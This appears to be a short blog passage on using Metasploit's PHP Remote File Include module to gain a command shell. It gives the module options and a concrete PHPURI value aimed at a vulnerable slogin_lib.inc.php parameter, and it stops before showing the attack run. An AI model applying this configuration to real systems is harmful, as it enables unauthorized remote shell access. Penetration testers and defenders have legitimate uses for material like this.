Metasploit has a nifty PHP Remote File Include module that allows you to get a command shell from a RFI.
Not too complicated to use, set your normal RHOST/RPORT options, set the PATH and set your PHPURI with the vuln path and put XXpathXX where you would normally your php shell. So we take something like that has a vulnerable string of:/[path]/slogin_lib.inc.php?slogin_path=[remote_txt_shell]and make your PHPURI
PHPURI /slogin_lib.inc.php?slogin_path=XXpathXXlet's see it in action
